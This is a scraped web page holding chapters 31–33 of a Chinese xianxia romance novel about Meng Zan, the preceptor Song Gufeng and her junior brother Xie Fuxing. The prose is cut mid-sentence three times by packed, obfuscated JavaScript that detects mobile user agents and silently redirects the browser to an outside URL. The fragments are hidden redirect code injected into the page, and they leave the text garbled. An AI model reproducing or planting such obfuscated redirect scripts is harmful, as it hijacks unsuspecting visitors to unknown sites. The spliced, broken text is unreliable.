d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057883|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故封,把玩着手中的玉佩,没有开口。 临走前宋故封塞给了孟簪一张字条,上面歪七扭八地写着一行字,孟簪辨认了半天,才认出上面写着的内容。 “寻魂灯陪着公主一起下葬了。” 这字看得出宋故封也是苦心练过了。 这寻魂灯既然是和永安公主一起下葬了,那自己若是想要拿到寻魂灯,岂不是要把人家的墓给掘了? 孟簪重新回想起破晓国的邀请书,总觉得哪哪都不太对劲,这秘宝到底为何会吸引那么多人前往破晓国?这国师到底是有何居心? 想到这里孟簪总觉得自己错过了什么重要的细节,“公主,国师求见。” 孟簪还没主动去找这国师,不想这国师主动找过来了。孟簪没着急回答,先给自己画了几个阵法,方落笔,开口:“嗯,让他进来吧。” 北冥凌站在桥上,抬头看向君裴安,下意识将手放在了身侧的剑上,“你也是为了破晓国的秘宝而来?” 对于君裴安在这里,北冥凌脸上好像根本没有意外,“六皇子殿下不好好在自己东陵的封地上种西瓜,怎么跑出来参加仙门大比了?” 北冥凌翻了个大白眼,有来有回道,“彼此彼此。太子若是想来微服私访的,可以滚了,若不是,那我便帮你滚。” 君裴安从树上跳了下来,侧头不解,“赶走我,你可是这辈子都不知道这破晓国的秘密了,那里面的公主是你朋友吧?唉——她要是知道你这个所谓的朋友,也不过是个背信弃义的小人,你说她会如何呢?” 北冥凌想起了不美好的事,他戒备地看向君裴安,“你到底想说什么?” 君裴安也不喜欢弯弯绕绕,开门见山道,“这秘宝,西炎国想分一杯羹。你帮我拿到它,而我不介意帮你把你那个无能的哥哥踢下皇位。” “不了。”北冥凌拒绝地太过于干脆,倒是让君裴安有些意外,“这种左右都是你获利的买卖,有什么好商量的必要。”北冥凌不是傻子,君裴安明显是看不惯自家二哥所以才提出交易,“你也没说要帮我,所以我为何要帮你?” 只是让太子位空出来而已,又不是扶持自己做太子,君裴安低估了眼前的北冥凌,也不知道北冥凌此人压根无心于朝政。 “你觉得你可以独善其身,六皇子?等到四国势力彻底侵入破晓国,你又以为你可以救得了她?你应该也察觉到了吧,这次来破晓国的人不少,看似仙门百家来人众多,可是仙门百家与四国关系错综复杂不是秘密,于你这位东陵六皇子,和东陵国交好的药家来访,你不该什么都不知道吧?” 没错,江宁药家也来了是让北冥凌格外意想不到的,药家私下已经与父皇做了交易,看似来得是药家,实际就是东陵国。 “这秘宝到底是什么?”北冥凌蹙眉,心里一阵不安翻涌而起。 “是一样可以彻底改变四国和天下格局的定坤珠。” 屋内,孟簪喝了六杯水,才勉强消化了宋故封就是国师这件事。 她以为这大概就是今天听过最不可思议的消息了,不想,她刚灌了一口水,对面之人便语气恬淡地说,“公主,你我之间有婚约。” 宋故封安静地拿起手帕擦去脸上的水,认真道,“这婚事需要早日提上日程了,公主觉得在哪一天比较合适?” 孟簪仔细打量着对面之人,依旧是那张熟悉的没有什么情绪起伏的脸,但是孟簪却觉得这人身上有一种浅淡的疯感,才说得出如此惊骇世俗的话语来。孟簪寻思着求婚也该有些诚意和仪式感吧,这没有感情起伏的话语,孟簪差点以为宋故封被人夺舍了,所以才皇宫里随便拉了个路人成亲。 由于一切都太过于不可思议,孟簪斟酌着试探性地发问道,“你的意思是?” “你什么时候娶我?” 孟簪:……等下,这不该是你的台词吧?这高低也得是我的词啊! 31. 第三十一章 第三十一章 秋风瑟瑟把孟簪的心都吹凉了,窗户半开着,并不灼热的阳光落在男子的衣袍上,层层官服交叠,勾勒男子肩宽腰窄的身形,流苏结随着他微微侧头的动作划过宋故封的脸颊,那张明眸皓齿的容颜不苟言笑之时,多了几分不可亵渎的庄严。 他手指轻敲着木桌,撩起眼皮不紧不慢道,“我知道公主不喜欢我,但天命不可违。” 孟簪好半晌才找回自己的声音,“为何?” 他神情温柔了不少,“公主,我是为你而存在的,我存在本身的价值就是和你在一起,成婚生子。” 她观察着对面人的神情,看不出半分的破绽,也正是他没有骗人这个事实让孟簪觉得心惊胆战,面上她不动神色,私底下慌乱地搅动着衣服。 “你又怎么确定我是永安公主呢?”孟簪直到今日也不明白为什么宋故封话语那么笃定,确定自己就是他要找的那个人。 “白玉耳坠。” 孟簪下意识伸手摸向那一双白玉耳坠,自打她有记忆开始,这一对白玉耳坠就在了。 “但,单凭一对耳坠莫名有些太过于荒谬了吧?”孟簪镇定地朝对面的男子发问。 对方对于孟簪很有耐心,如孟簪所料的一板一眼回答说,“此外,我还有自己的途径,公主不必怀疑。之前把你从飞舟提前带来也是,让你可以更快的适应公主这个身份,只是不成想,身边觊觎公主的人如此之多。” 孟簪想起宫里流传的流言,不知为何有些心虚地移开视线。“所以,公主你还有什么想说的吗?” 这般正宫的气度让孟簪越发笃定自己得劝劝宋故封。 “其实小宋啊,每个人都是为了自己所存在的。你并不是依附我而存在,就我打个比方哈,如果哪天我死了呢?” 宋故封认真答道,“我会努力和你合葬一坟。” 孟簪:“……” 这回答让孟簪头疼扶额,“你这样是不行的。” 宋故封立马接话,“我挺行的。” 孟簪:我觉得你回答问题挺行的。 “保证各个方面都不会让公主失望的。”话说完,那张不染风月的脸红了,宋故封那拳头抵着嘴,轻咳了两声,匆忙地垂下眼。 突然开上高速的车把本来正经的孟簪打得措不及防,她假装听不懂,认真道,“这不是满意的问题。” “那是什么问题?我改。” 不谈别的,宋故封拥有人类最好的品质之一,知错就改。孟簪见宋故封就差拿出笔和纸做笔记的紧张模样,也真有些于心不忍,话语也放软了些,无奈道,“你改不了的。” “公主不说,我怎么改。” 孟簪思来想去,还是决定给对方下一剂猛药,“其实——我不喜欢男的。” 要不是孟簪及时夺过宋故封的刀,宋故封一刀就下去了,不带半点的拖泥带水,他斩钉截铁道,“倘若你不喜欢男的,我就不做男的。” “我也不喜欢女的呢?” 宋故封一愣,满脸为难,“难道你喜欢的不是人?” “……” 孟簪点点头,见总算把宋故封给为难住了,便乘胜追击道,“对,我就喜欢跨种族的爱恋。” 孟簪本来想着,宋故封是个骨子里保守的人,肯定会知难而退。虽然不知道为什么北冥凌说宋故封是鲛人,但是这短短片刻的相处,孟簪没有从宋故封身上感受到半分的妖气,宋故封无论左看右看都是个再寻常不过的人,要真说妖里妖气,孟簪觉得宋故封没有谢赴星像个鲛人。 “那他可以做小。” 孟簪刚想笑,立马就意识到宋故封说得话是什么意思。 “什么?” 宋故封一字一句别扭道,“他可以做小,我不介意。” “虽然我骨子里是个保守的人,但是为了你我可以破戒那么一次。” 孟簪:我谢谢你哈。 不是,这人也不够保守啊。 两人最终不欢而散,宋故封从门内出来就知道自己留不住孟簪。 倘若公主要离开。 那宋故封便只能阻止她,不让她走。 — 孟簪和宋故封谈话谈得心力憔悴,她听不进宋故封的话,宋故封也听不进她的劝告。不过眼下孟簪也并不着急从皇宫离开,毕竟她还有重要的事情去做。 两日后便是谢赴星的生辰了。 孟簪决定要给谢赴星留下一个永世难忘的生辰。 毕竟自己之前看来确实对小师弟有些误会,包括之前的那些事,说到底孟簪还是心中有愧,谢赴星就算再坏也是自己带进门的师弟,无论怎么变,他永远是自己师弟这件事不会变。 坚定信念的孟簪在纸上勾勾画画的时候,一本书从天花板上砸在了她脚边。 看着封皮上少主使用指南六个大字,孟簪大为震撼的同时不禁疑惑道,这是什么东东? 单纯的孟簪此刻怀着好奇翻开了这本书,她还未曾设想,接下来的两个时辰她将会遭遇什么。 “哦。” “原来如此。” “我悟了!” 门外守夜的宫女为自家努力学习的公主而感到感动,那么晚了公主还没有掐灭蜡烛依旧在刻苦读书,宫女放轻脚步离去后不久,孟簪活动了一下颈椎,合上了书本。 这本书的主人的少主应当是个鲛人。书上就如何饲养一只鲛人以及与其相处进行了详尽的介绍。 比如鲛人满十八岁后就会有发-情期,每月月圆之时需要人工投吻,帮助其度过这段时期。此外,一只鲛人可不是那么好饲养的,不能让他感受到被冷落不然他就会吃醋,鲛人吃起醋来会格外斤斤计较,虽然鱼的记性不太好,但鲛人在记仇这方面遵循君子报仇,十年不晚的思想。 也就是说一件事他可能没几秒就忘了,但也有可能他记了一辈子都不会忘记了。总而言之,如果遇上了发情期的鲛人需要逃离,但是如果这个鲛人是他口中的少主的话,可以不用害怕,因为他们家的少主具有强大的自制力,就算是再美若天仙的人坐在他旁边他都可以坐怀不乱。 总而言之,十八岁对于人来说是道坎,对待鲛人也是,鲛人十八岁以后发-情期会催促他们寻找伴侣共度终生。所以不少鲛人自打小就开始寻找自己的另一半,以防熬不过发-情期的折磨,情-欲最是折磨人,虽然孟簪对于鲛人每个月经历这种感到同情,但是想起书中另类的知识,她骤然沉默,甚至隐隐有些脸红,逼着自己思考起正经的问题来,譬如,这书为何会出现在这里? 可是脑海里自顾自地重新出现奇怪的知识,红温持续难以褪去,孟簪拍了拍自己的脸,脑中划过自己惊鸿一瞥的鲛人小师弟的样貌,虽然孟簪觉得那可能是自己的幻觉,可是怎么说……这幻觉未免有些太真实了。 真实到孟簪现在还清晰地记得住小师弟那张脸上划过的很快的一瞬的慌乱。 孟簪看回自己纸上的勾勾画画,本来是构思送小师弟什么生辰礼物的说,结果轻松的被一本书夺去了,不由得有些痛很自己这一点儿都不顽强的意志力。 算了,明天再思考好了。 这个想法持续到,两日后,孟簪意识到今日便是小师弟的生辰。也许是多思考了一会儿,她回忆谢赴星不久前对她说的,师姐我不过生辰的。 那时少年神色是如何呢?孟簪想谢赴星不是那县令捧在手心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095946|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小儿子,无人为他的生辰祝贺。多年前的记忆孟簪也是断断续续记得一部分,也正是因为记得,她才不会听从谢赴星的话。 “师姐,你盯着我看许久了。”直到谢赴星出声,孟簪才意识到自己确实看小师弟看得有些频繁了,一旁的北冥凌也扭过头来,看着故作从容的孟簪眯起了眼,“诶,师姐你耳朵怎么红啦!” 做作的演技,刻意提高的语调,可以说北冥凌又在看热闹不嫌事大了。 “北冥凌你多大了?” 对于孟簪突如而来的问题,北冥凌充耳不闻,笑着问,“师姐你耳朵红什么?” “哦,你脸红什么?”孟簪的反问声刚落下,北冥凌立马蹙眉反驳,“我哪里……” 两巴掌落下后,肇事者淡定道,“现在红了。” 看完全程的苗昊觉得脸突然有些疼了。 北冥凌毕竟也不是第一次被孟簪打了,君子不记小人过,故而受了两巴掌也不吭声,而这一幕落在不远处旁人的眼中可就意味不明了。 荀药手中的茶杯一抖,意味深长地看着北冥凌通红的两颊,“这人是我们家那位皇子,对吧?” 埋头吃馄饨的小琴闻声抬头,盯着打量了好会儿,总结道,“除了发色不一样,衣服素了点,其他的倒是一模一样。” 荀药沉吟了会儿,“你说一个自小矜贵骄傲的男人被女人打了两巴掌,还一点儿都不生气,甚至眼里还流露着宠溺,这是为什么呢?” 小琴吃完了最后一个馄饨,得出结论,“说明爱啊!这不是爱情还是什么?怪不得之前皇上给他安排的女子都看不上,原来是喜欢暴力的。” 荀药抬头四十五度仰望天空,虽然有的时候答案会让人觉得不可思议,可往往最不可能的那个便是最接近事件的真相,所以,皇子外表看着壮如铁牛,内心竟然住着一颗喜欢挨打的心吗?啧啧,荀药思考要不要把这个发现汇报上去,促进皇子和皇上之间的情谊。 夜深,谢赴星随意扫了眼叔父方才带给自己的信,一目十行地看完后,毫不留情地一把火烧了。 家书抵万金,对于谢赴星而言,家人的挂念无非是让他为家族卖命罢了。 这时门外突然传来一阵敲门声,谢赴星下意识以为是那人折返回来,不料,来人笑眯眯地看着自己,这般晚的时间来找自己,倒不像是来做好事的,果不其然来人开口第一句就是,“我可以进去坐坐吗?” 孟簪特意挑了个喜庆的红衣穿上,她皮肤白穿什么都很好看,不过因为她很少穿红色的缘故,故而让人感觉眼前一亮。腰间戴的是花朵形状的明铃,随着她的步子,一步一响。 这明铛倒是像狸奴脖子上常戴着的铃铛。 不过,谢赴星只是在心里道,面上恍若未闻的朝这位孟师姐关心道,“师姐那么晚了找我是有什么事吗?莫非是上次的鬼还没抓干净。” 孟簪瞥了眼少年晦暗不明的黑眸,清了清嗓子,“没事就不能来找你吗?” “自然不是。”少年挡在门口,倒也没有让孟簪进门的意思,他漫不经心地扫过孟簪的面容,轻笑道,“只是,今晚不行。” “为什么?” “心情不好,不为什么。师姐如果事情不急的话,明日再说吧。”谢赴星说完也不管孟簪什么反应,一个弹指,门自动关上,连个余光都不愿给孟簪。 孟簪总算体会到了守阁长老的心情了。 不过,倘若今日说放弃便放弃就不是她孟簪了! 不就是不能走正门吗!孟簪走后门。 九月十四,月圆未圆。 房内的谢赴星面色凝重,看着那没烧掉的信封里掉出来的小纸条,看完后陷入了深深的怀疑。 32. 第三十二章 第三十二章 孟簪很快就找到了后门,她先活动了下筋骨,随后低头看向这个只留了一条缝给她的后门。 只要有条缝,天南海北,孟簪都闯的进去。 她蹲下身,先把口袋里的符纸仔仔细细地捋平,然后顺着门缝努力地往里面塞去,像极了偷偷往客户门里塞小广告的无良推销员,好在这个缝还算大,对于纸张来说可以说是很容易地就塞进去了一半,孟簪深吸一口气,低下头,屏住呼吸往里推的时候,眼看已经过半的纸张,像是突然泄了气一般,孟簪加大了劲,却发现跟有什么抵住了似的,纸张就那么夭折在了路上。 下一秒,隔着门板,她听见屋内的人幽幽道,“师姐。” 孟簪脊背一僵,被抓包的尴尬立刻席卷而来,几乎是立刻就可以想象得到屋内少年脸上阴暗的神情,“你可还真是贼心不死啊。” 少年尾音上挑,语气偏生还是漫不经心的,给人一种没有太大情绪起伏的生气。 俗称薛定谔的生气,就是在没有开门前,孟簪也无法确定谢赴星到底是生气还是不生气。 “小师弟你听我解释,绝对不是你想象中的那样。” 可惜在孟簪说话间隙,谢赴星已经默不作声地抽过地上的符纸了,一眼便认出这符纸是传送符,气笑了,“师姐大晚上想要传送什么东西进来?自己吗?” 本来还绞尽脑汁怎么塞符纸进来,听见质问声的同时,孟簪立马反应过来符纸已经成功进入门内,不由得喜上眉梢,立即催动符纸,不带半点犹豫,生怕谢赴星下一秒就把符纸给烧掉了。 谢赴星的确打算那么做的,可惜在他烧之前,符纸先被孟簪灵力催动了,谢赴星反手立即把符纸扔到了地上,孟簪就那么华丽丽地摔在了地上,但从容不迫的她赶忙摆好了姿势,手撑着脑袋,故作潇洒道,“嗨,晚上好啊小师弟,好巧。”像是看不见谢赴星那张冷淡厌烦的脸,孟簪笑靥如花地打着招呼。 她拍了拍衣服上的灰,先斩后奏道,“我找你是真得有事。” “哦?谁找我不是有事?”少年皮笑肉不笑的反问道,“今日倘若不是我发现了,师姐会如何?” 没想到塞个符纸都能被小师弟发现,也是,倘若谢赴星的警惕心不高的话,怕是没活到这个岁数就死了成千上万次了。 他冷冷看向孟簪,不想却看人垂着脑袋,一副理亏的模样,很低声道,“那我自然是放下东西便离开。” 她声音低到谢赴星觉得她下一秒就要哭的时候,孟簪骤然抬头,那双杏眼很是明亮地看着谢赴星,“既然你发现了,那我就可以亲口和你说了。” 对方欣喜的语气让谢赴星不知为何的心头一紧,直觉告诉他此刻最好的结局就是把孟簪直接给扔出去的,而非听她往下讲。 “祝你生辰快乐呀,谢温年!”孟簪走到窗边,把窗户开到最大确保谢赴星可以看见窗外的风景,烟花在空中绽放开,七彩的颜色点缀着暗淡无光的夜空,伴随着烟花升空的声音,他清晰听见少女的祝福。 “时间有些仓促,我来不及准备什么,我听宫里的宫女说要是在生辰的那一天点燃带有姓名的烟花,往后的一年,都会岁岁无虞,长安常乐。” 这一刻,天空的传来爆鸣声,他看着天际上映照出的一行字,谢温年,长安康。 短短六个字,却让他生平第一次很久都没有回过神。 他的视线定了很久才终于落在孟簪的身上,在孟簪期待的眼神中,浸身阴影之中的少年,没有丝毫人情味地说:“今日不是我的生辰。” 他极力压抑着翻涌的厌恶,继续冷冰冰道,“我也不过生辰。” “以及——我和师姐好像还没有亲近到喊小字的程度。” 那双好看的黑眸微微眯起,眼中尽是冷意,眉心的朱砂仿佛都沾染了生人勿近的意味,平日里意气风发的少年郎,也只有在一个人的时候才会露出这般不同的神情,孤僻而又偏执。 不是吧,这都拿不下你。 孟簪没想到谢赴星会如此抵触生辰二字,正想要开口说些什么,谢赴星直接径直打断了孟簪,“师姐,我要睡了。” 言下之意,你可以走了。 孟簪眼巴巴地看了眼谢赴星,可怜道,“真得没有任何挽回的可能了吗?” 实在不行,你当作我的生辰也行啊! 回答她的是利落的关门声。 孟簪提着裙角正打算离开,背后的门骤然打开,她惊喜地转过身正要开口,怀里却被结结实实地抛了个东西进来,月光下的少年精致的眉眼更显清冷,“把你的垃圾带走。” 孟簪看了眼谢赴星,看了眼怀中的包裹,颤抖地发声,“有没有一种可能……” “没有。”门再一次被关上,冷冷的秋风伴随着落叶吹得孟簪心拔凉拔凉的。 斩钉截铁的两个字,仿佛是怕再多说一秒就会被孟簪纠缠上。 孟簪这回是彻底被关在门外了,抱着怀里的礼物,她慢慢悠悠地往外走,嘴里念念叨叨,“男人的心,海底的针。” 不都说女人心,海底针,孟簪今天算是明白了,男人的心复杂起来,也是摸不清,探不透。 “跟有人欠他银子似的。”孟簪吹着秋风,迈着步子突然想起,自己今晚找谢赴星还有一件事,便转了个方向,抬步往回赶。 她没发现,头顶的月亮渐渐变为了一个彻底的圆盘。 屋内的谢赴星心脏一阵抽痛。 他稳住身形,没有理会门口的敲门声,重新穿戴好衣服,从后门离开了房间。 孟簪敲了会儿门,思索不对,利用走的时候仍在角落里的符纸再度进入了屋内。 屋内空无一人,不见人迹。 孟簪第一反应是小师弟又是出去杀人了。 算了,反正他总会回来的。 孟簪本来就想坐一会儿,等谢赴星回来的,但是不知不觉就趴在木桌上睡着了,睡了一会儿还是觉得不太舒服,搬出了自己的被子,熟悉地朝着床走去,直到软绵绵的被子将她包裹,骤然有了安全感,孟簪迷迷糊糊想道果然还是床上睡着舒服。 只是过不多久,门被一双刚从血堆里掏出来般的手推开,月光照亮来人颀长的身姿,依旧是那身红衣,只是此刻多了些妖冶,他几乎是刚进门就意识到了屋内另外一人的气息,谢赴星不动声色地将手放在了剑柄上,腰间的玉佩不经意折射开一片银白。 直到走到床边看着这个睡得格外香的女子,他陷入了沉默,他究竟是为什么会觉得这女人有能力可以杀了自己。 床被孟簪霸占了,谢赴星走到桌边坐下,桌上是她口中说送他的生辰礼物。 不大的一个包装,松松垮垮地系着一个蝴蝶结,他侧头看见了压在礼物下的符纸,他正打算烧掉,却被风吹起半个角,这符纸背后还有字。 谢赴星不太记得清自己是以一个怎么样的心情翻开这张纸条以及拆开这份礼物的。 只记得,耳畔再次响起哗哗的海浪声,像是光明翻滚进长夜,永无止尽的声音之中,一轮明月高挂,那把剑出鞘,刺眼的光让他下意识闭上眼。 那剑的主人,分明长了一双好看的杏眼,但是那眼神却是那般的无情和冰冷。 村民的怒骂声伴随着大海,席卷浪潮而来。 他好像忘记了什么。 — 秋日的第一场雨落下的时候,北冥凌的房间内来了一位不速之客,这人依旧是笑眯眯的,坐在了北冥凌的对面。 “千年前,道宗有一位女弟子,说是女弟子或许不贴切,毕竟世人对她的称呼多是天才二字。那的确是千年一遇的天才,便是剑宗那位大名鼎鼎的小师叔都要承让半分,那女子修的道虽然不是无情道,但胜似无情,一日修炼千里,她渡劫飞升那时也不过二十一岁的年纪,二十一岁飞升的千百年来怕是也只有那么一个,在众人期待之中,她却独自一人离开了道宗,以至于后来死在了飞升的雷劫之中。” 在君裴安的视线之下,一袭白衣的青年很是平静道,“我听我父皇提起过,但是这件事早就被道宗封锁,门派之中怕也是不流行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“听闻破晓国有一圣物,名为寻魂灯。你是为了此物而来吧?”君裴安也顺着北冥凌的目光看向窗外,“又是一年秋知叶,时间过得还真是快呢。在我的印象里,你还是那个年少不知天高地厚的六皇子,不想,如今竟然变成了这般模样。” 他点到为止,没有再多说。北冥凌难得没有多言,看着窗外秋雨,他安静了很久很久,君裴安也不说话,就坐在对面,静静地听着窗外落雨声,“你不像他,你还有路。前路漫漫,总会有你的归路。” “归路?没有了归处,有路又有什么意义?” 君裴安轻笑了声,“重情重义之人会吃不少苦头的,我还是奉劝你少感情用事,再说,这寻魂灯早年便陪着公主下葬了,你觉得人家会乐意你当着人家的面挖人家的墓?” “挖墓肯定是要挖的!”孟簪早上一醒来已经回到了自己的房间,谢赴星这回倒是人好,没有单单把孟簪扔在门口,而是送回了孟簪自己的寝宫。 孟簪打了个哈欠,清醒了一会儿,思考给自己挖墓的可能性。 按照宋故封的性子肯定不会松口让孟簪挖墓的,苗昊讲究礼俗,肯定也干不出这般离经叛道之事。 “所以,你的意思是要我陪你一起去挖你自己的墓?”北冥凌一脸不可思议地看向孟簪。 这不就是瞌睡来了送他枕头吗?北冥凌正愁找不到办法进入坟墓呢! 孟簪看得出北冥凌眼中的挣扎,于是担忧道,“你不会觉得为难吧?” “自然……不会。” 笑话,这是哪里是挣扎!这分明是怕自己太高兴了,从而引起孟簪怀疑而伪装出来的不高兴啊! 孟簪觉得北冥凌大抵还是心有不忍,这嘴角拼命上下抽搐的样子,真是让孟簪都有些动容了,往前一直是她误会北冥凌了,没想到他还是一个正人君子啊! “没事,你要是不想去,我就去找……”小师弟三个字还没说来得及出口。 “旁人怎么会有我这般无私!还是找我吧!我很靠谱的!” 在孟簪狐疑的目光下,最终北冥凌还是有幸获得了陪着坟墓的主人一起前往挖坟的机会。 “对了,你打算什么时候去?” 避免日长梦多,“明晚,你到时候伪装一下,我们的暗号就是:小狗怎么叫?你回答汪汪。” 北冥凌:……怎么感觉陪你挖个坟,我还失去了做人的资格呢? 33. 第三十三章 第三十三章 和北冥凌商量完后天色已晚,孟簪回到寝殿的时候,极为罕见的,今夜没有点灯。 她摸着黑,在屋内刚点燃蜡烛,眨眼间就熄灭了。 几乎是立刻一个念头浮上孟簪的心头,妈的,又有妖鬼要害我了! 孟簪静默在原地,在找人搬救兵和自己一力斩杀妖鬼中间,选择了赶紧钻进被窝躺下,把自己裹得严严实实后,方才几分安全感涌上心头。 不料,身后传来布料摩擦的声音,是有人翻了个身。 这寝殿除了孟簪还有一人! 孟簪屏住了呼吸,屋内清晰地传来一声声逐渐粗重的喘息声,别说,还有点性感的,孟簪在怒骂自己不争气的同时又不由得承认这声音的主人声线着实不错,不过这声音怎么越听越觉着那么耳熟呢? 孟簪都思考到自己是不是和这个男鬼人鬼情未了这一步的时候,鼻尖嗅到了一股很浓的血腥味,立马意识到身后之人大概并不是自己心中所想的恶鬼,而是活生生的人,知晓这一点的她赶忙回头,先入眼帘的是那把熟悉的佩剑,那是谢赴星的剑——追云。 而此刻那把剑贯穿主人的胸口,鲜血顺着剑滴落,在胸口晕染了一片的血色,融于红衣,一时分不清到底是衣红还是血红,孟簪立马点燃烛火,然而下一秒再度熄灭,与此同时传来一句少年压抑于唇齿间的,“不要点灯。” 哑的过分的声音已经是忍耐到了极点,他的手用力握住了剑刃,鲜血顺着指尖淋漓开,借着几分月光,看得孟簪触目惊心,要不是认识谢赴星,都要怀疑他是不是有什么自虐的癖好。 之前中壮阳酒的时候都没见他如此难受,今日到底是怎么了? “谢赴星,松手。” 孟簪换了个说法,“你弄脏我的被子了。” 疼痛和索取相互制衡,在这片苦海之中,谢赴星耳畔隐约传来孟簪的声音,“谢赴星,松手!” 孟簪透过屋外的月光这才发现少年的不对劲,他整个人像是刚从水里捞出来的,汗水打湿了衣裳,几缕发丝贴着头皮,明明入秋天气已经转凉不少,他却仿佛热得不行,“不行,不能,不可以。” 连着三个否定词,让孟簪狐疑地凑上前,在少女身上的清栀子香窜入鼻息前,紧闭的双眼睁开,那双极为好看的澄澈蓝眸看得孟簪一怔,那些个被自己否认的事实连成线,纵然是再不相信,孟簪也得相信眼前所见,小师弟大概也许真得不是人。 瞥了眼窗外的圆月,孟簪还有什么不懂的,这人死鸭子嘴硬,硬要说昨日不是他的生辰,但显然这正月十五的月亮出卖了他。 小师弟的情期来了。 可见谢赴星这个样子显然是不知道这回事,甚至想要硬生生熬过去,不惜做到自残这个地步。 孟簪还没来得敬佩她就被那人死死地抓住了手,就仿佛是临死之人抓住最后一块浮木,一字一字道,“帮我拔出来。” 哈?我? 于是,孟簪颤颤巍巍地伸出手,握住了剑柄,黏腻的血同时粘在了她手上,“那我拔了啊?” “我真得要拔了。” “我最后问一遍,我要拔出来了哦。” 最终谢赴星咬牙切齿道,“别废话!” “要不你自己拔吧?我有点怕。” 孟簪可怜兮兮道,她现在就是个刚到筑基一层的菜鸡,万一拔出来后,谢赴星翻脸不认人把自己给砍了怎么办? 苦涩的药香混杂着少年身上的血腥味包围了孟簪,两人的影子交叠,谢赴星抬起那双好看的眼眸看向孟簪,那双没受伤的手握住了孟簪的手背,少女身上的栀子香像是最上等的迷魂药,他凭借残存的意识默念着清心诀,与此同时手臂发力,剑从胸膛瞬间带出,他只闷哼了一声,便松开了对方的手。 剑落地的轻鸣声在空寂的寝殿内回响。 少年的发丝披散在肩前,红色的发带不知在混乱中掉到了哪个角落,像是野兽挣脱束缚的最后一道防线,只是一个瞬间,孟簪便被掐着脖子摁在了床榻之上,手上的劲儿一点点在加紧,在濒临死亡那刻,谢赴星停下了。 不是谢赴星心软了,而是因为他动不了了。 孟簪起身,捂着脖子,缓了好一会儿,才忽视脖颈的疼痛,看向谢赴星,对方也只有此刻才安静了下来,逐渐粗重的呼吸声可以听出他此刻的难受和挣扎。 但是师弟,师姐终究是陪不了你一辈子的。 俗话说青山不复,绿水难长流,孟簪是不会甘愿成为谢赴星此刻的解药的。 得亏孟簪留了一手,及时把符纸贴在了谢赴星手臂上方才没有被对方掐死。她此刻看着谢赴星,有一种无可奈何的感觉,“唉——我这人就是太心善了,小师弟啊小师弟,你看你想杀我那么多次,我却一直对你留有情面,你说你这人怎么就不会感恩呢?” 她凑近打量少年的眉目,越看越满意,像是老鸨在打量着被卖到楼里的新人,“这眼睛确实好看。这鼻子那么挺是真的吗?”仿佛下一秒就要来一句,“你还是不是处子之身啊?以后是准备卖身还是买艺呢?” 孟簪盯着看了一会儿就有些累了,本来这个点就应该睡了,她摸着发紫的脖颈,吐槽道,“你说你嘴那么硬干什么?成年就成年了呗,成年意味着你已经从从前少不更事的少年成长为身强体壮的青年了,而且这个年纪你知道适合干什么吗?” 想起谢赴星连睡觉二字都不懂为何意,孟簪也不期待着接下去的话他可以听懂了,“繁殖!繁衍后代,你这个年纪最适合做这个了。所以有什么见不得人的想法不要太正常,常年压抑着自己那方面的想法的话是会心理扭曲的,再说你往后月月都要体会,与其压抑自己不如享受当下。” 毕竟过个几年,男人人老色衰的,按照师父所言,就算是心有余也力不足了。 反正谢赴星也动弹不得,孟簪也就无所顾忌道,“实话和你说吧,有关于你的情况呢我也略微有所研究。” “只要找个人亲个嘴,就不会那么难受了。” 不过凭借谢赴星的性子怕是宁愿疼死自己,也不会相信孟簪所说的。 孟簪对这个有充分的信心,因为话落后,谢赴星的脸可见得冷了八个度。 “……” 在孟簪看不见的角落,谢赴星的小拇指轻轻动了下。 孟簪对上谢赴星冰冷的双眸,讪讪道,“你也别瞪着我了,瞪我也不会把符纸揭下来的。” 一个哈欠上来,孟簪才意识到自己是真得很困了。 她伸了个懒腰,往门外走去,在快推开门的那刻,身后一只强劲有力的手将她抓回,孟簪双手被上扣,铁锈味迅速在唇间蔓延开来,她宛若大海上的一艘小舟随着浪起浪伏,少年缠着绷带的手划过她的耳廓,缓缓捧起她的脸,勾勒着轮廓,却没有多少耐心,仿佛只是机械地完成一个任务 身后是木门,身前是青年人火热的身-躯。 一吻作罢,谢赴星漫不经心地抹过嘴唇上的血,余光瞥见孟簪眼中愤愤不平的那刻,骤然恶劣地勾起唇角,“师姐如今怎么好像看着不太高兴?” “可是方才的时候,我瞧着师姐的表情分明也是颇为沉浸其中。”说到颇为二字时,少年刻意咬了重音,目光无意地划过少女的唇畔,笑而不语。 孟簪别过头去,她只是不太喜欢这种被人利用后甩掉的感觉,更何况这个人还是谢赴星,于是,冷哼了一声,也是阴阳怪气道,“彼此彼此,我看师弟也是不挑食。” 少年眉心的朱砂殷红,那张在月光下恍若仙人的精致面容染了几分旖旎之色,宛若点了彩的美玉,他的眼眸变回了黑色,听到孟簪的话后,那双含情眼微微眯起,慢条斯理道“师姐能有这个自知之明最好。今晚的事,我不希望让旁人知晓,万一泄露出去。” 说到这里,谢赴星轻笑了声,语气温柔道,“就是不知道到底是我的剑快,还是师姐两条腿跑得快了。” 孟簪自然也不会往外说,因为今晚这可是孟簪的初吻啊!这货亲完那么淡定,铁定不是第一次干这种事情了! 这把血亏啊—— 孟簪心里只有一个想法,下次她一定要多贴个十张八张符纸,不对,她下次要离谢赴星远一点,远远的。 — 